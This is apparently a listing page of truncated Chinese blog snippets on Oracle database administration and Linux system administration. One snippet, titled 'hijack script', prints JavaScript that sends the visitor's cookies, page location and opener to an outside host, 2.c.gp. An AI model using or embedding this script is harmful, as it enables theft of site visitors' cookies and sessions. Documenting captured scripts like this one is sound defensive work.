Data Guard主库添加或删除在线重做日志文件
添加或删除现在重做日志文件改变在线重做日志文件大小和数量有时是优化数据库。你可以在主库添加或删除在线重做日志组或者日志成员而不影响备库。同样的,你可以在主库删除日志文件组或成员而不影响你的备库。但是,这边变化在普通切换后会影响备库的性能。注意:无论何时,你在主库添加在线重做日志文件,你...
Data Guard主库删除表空间
删除表空间和删除数据文件当你在主库删除一个或多个数据文件或者删除一个或多个表空间时,你也需要在备库删除相关的数据文件,以下部分提供的例子,当STANDBY_FILE_MANAGEMENT参数设置为AUTO或者MANUAL时关于删除表空间和删除数据文件。当STANDBY_FILE_MANAGEMENT设置为AUTO或者MANUAL时The following ...
Data Guard主备库传输表空间
8.3.3 物理备库使用传输表空间You can use the Oracle transportabletablespaces feature to move a subset of an Oracle database and plug it in to another Oracle database,essentially moving tablespaces between the databases.你可以使用oracle传输表空间特征,从oracle数据库的一个子集传输...
Data Guard备库以只读或读写方式打开访问
8.2 Opening a Standby Database for Read-Only or Read/Write Access8.2以只读或者可读写方式打开备库来访问 When a standby database is open for read-only access, users can query the standby database but cannot update it. Thus, you can reduce the load on the primary database by using the standby d...
删除Oracle数据库监听器下的XDB.XPT. PLSExtProc服务
监听器大家都了解,详细的概念就不过多追述,当我们使用lsnrctl status看监听器状态的时候,除了自己建立的监听器外,还有一些其他的监听器,这无形中就给自己的数据库带来一定的风险,那么我们怎么才能去掉这些监听器呢?删除XDB服务:1.试着尝试使用dbms_service来停止和删除XDB服务.SQL>Begin  ...
Oracle数据库如何进行数据拯救
最近这段时间,接二连三的接到数据拯救的项目。本来觉得数据拯救是体力活,技术含量并不是很高,但是如果客户都有这种认识,在维护工作中掉以轻心,那么出问题的机会还是很高的。其实从数据库的角度来说,数据拯救不是万能的,数据库的安全第一关还是把空在DBA手里,如何把好第一关是十分关键的。DBA要了解到从Oracle的角度...
Oracle数据库锁机制
数据库是一个多用户使用的共享资源。当多个用户并发地存取数据时,在数据库中就会产生多个事务同时存取同一数据的情况。若对并发操作不加控制就可能会读取和存储不正确的数据,破坏数据库的一致性。在数据库中有两种基本的锁类型:排它锁(Exclusive Locks,即X锁)和共享锁(Share Locks,即S锁)。当数据对象被加上...
Oracle监听器动态注册与静态注册
一.什么是注册注册就是将数据库作为一个服务注册到监听程序。客户端不需要知道数据库名和实例名,只需要知道该数据库对外提供的服务名就可以申请连接到数据库。这个服务名可能与实例名一样,也有可能不一样。在数据库服务器启动过程中,数据库服务器会向监听程序注册相应的服务(无论何时启动一个数据库,默认地都有两条...
Oracle动态参数与静态参数
视图 v$parameter 中 ISSYS_MODIFIABLE 列能够查看参数属性,ISSYS_MODIFIABLE ='IMMEDIATE'为动态参数、 ISSYS_MODIFIABLE ='FALSE' 为静态参数 、 ISSYS_MODIFIABLE ='DERERRED' 为延迟参数(当前会话不生效,后续的会话有效) 。1. 参数总数:SQL> select count(*) from v$system_parameter where issys_modifiable='...
Oracle完全检查点和增量检查点详解
由于Oracle中LGWR和DBWR工作的不一致,Oracle引入了检查点的概念,用于同步数据库,保证数据库的一致性。在Oracle里面,检查点分为两种:完全检查点和增量检查点。下面我们分别介绍这两种检查点的作用:1、完全检查点在Oracle8i之前,数据库的发生的检查点都是完全检查点。完全检查点会将数据缓冲区里面所有的脏数据...
Oracle数据库事物详解
一、事务概念: 概念:在数据库中事务是工作的逻辑单元,一个事务是由一个或多个完成一组的相关行为的SQL语句组成,通过事务机制确保这一组SQL语句所作的操作要么完全成功执行,完成整个工作单元操作,要么一点也不执行。 主要特性:确保数据库的完整性。二、事务的ACID特性对一组SQL语句操作构成...
Oracle密码文件详解
一、密码文件作用:主要进行DBA权限的身份认证DBA用户:具有sysdba,sysoper权限的用户被称为dba用户。默认情况下sysdba角色中存在sys用户,sysoper角色中存在system用户 二、Oracle的两种认证方式;1.使用与操作系统集成的身份验证2.使用Oracle数据库的密码文件进行身份认证 三、密码文件的位置...
Oracle服务进程如何处理用户进程的请求
服务器进程在完成用户进程的请求过程中,主要完成如下7个任务:0.sql语句的解析1.数据块的读入dbbuffer2.记日志3.为事务建立回滚段4.本事务修改数据块5.放入dirtylist6.用户commit或rollback 0.sql语句的解析下面要讲oracle服务器进程如可处理用户进程的请求,当一用户进程提交一个sql时:updatetemp s...
用NAGIOS监控ORACLE服务器
用nagios监控ORACLE服务器环境:Oracle 10gCentOS 5.2 x86_64一、在 Oracle 所在服务器上安装 NRPE安装过程参考 Nagios NRPE 文档。注意点:1.由于 nagios 脚本需要读取 oracle 相关文件。所以运行 nagios 的用户需要定义为 oracle 服务用户。并且修改 /etc/xinted.d/nrpe 中的配置。service nrpe{flags = REUSEs...
网站排障分析常用的命令
系统连接状态篇:1.查看TCP连接状态netstat -nat |awk '{print $6}'|sort|uniq -c|sort -rn netstat -n | awk '/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}' 或netstat -n | awk '/^tcp/ {++state[$NF]}; END {for(key in state) print key,"\t",state[key]}'netstat -n | awk '/^tcp/ {++arr[$NF]};EN...
清空swap
#!/bin/shfree -mechosyncecho 3 > /proc/sys/vm/drop_cachesecho 0 > /proc/sys/vm/drop_cachesFREE_RAM=$(free|grep Mem:|awk '{print $4}')SWAP_SIZE=$(free|grep Swap:|awk '{print $3}')echo "Free RAM : ${FREE_RAM}"echo "Used SWAP : ${SWAP_SIZE}"if [ "${FREE_RAM}" -gt "${SWAP_SIZE}" ]; then...
配置linux syslog日志服务器
目前,linux依旧使用syslogd作为日志监控进程,而在主流的linux发行版中依旧使用sysklog这个比较老的日志服务器套件。从前一篇日志可以看到,对其进行必要的配置能减少很多麻烦,并且可更有效的从系统日志监控到系统的状态。理解并完善一个syslog的配置,对于系统管理员来说显得尤为重要。一、配置文件 &nbs...
劫持脚本
var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myo...
监测 Linux进程的实时IO情况
Linux Kernel 2.6.20 以上的内核支持进程 IO 统计,可以用类似 iotop 这样的工具来监测每个进程对 IO 操作的情况,就像用 top 来实时查看进程内存、CPU 等占用情况那样。但是对于 2.6.20 以下的 Linux 内核版本就没那么幸运了。笔者写了一个简单的 Python 脚本用来在 linux kernel < 2.6.20 下打印进程 IO 状况。Kernel < ...
从一个linux脚本中学习bash shell
以下是一个resin启动脚本,其中可以学到很多bash shell的知识点#!/bin/sh // bash shell脚本## Linux startup script for Resin //#注释# chkconfig: 345 85 15# description: Resin is a Java Web server.# processname: wrapper.pl## To...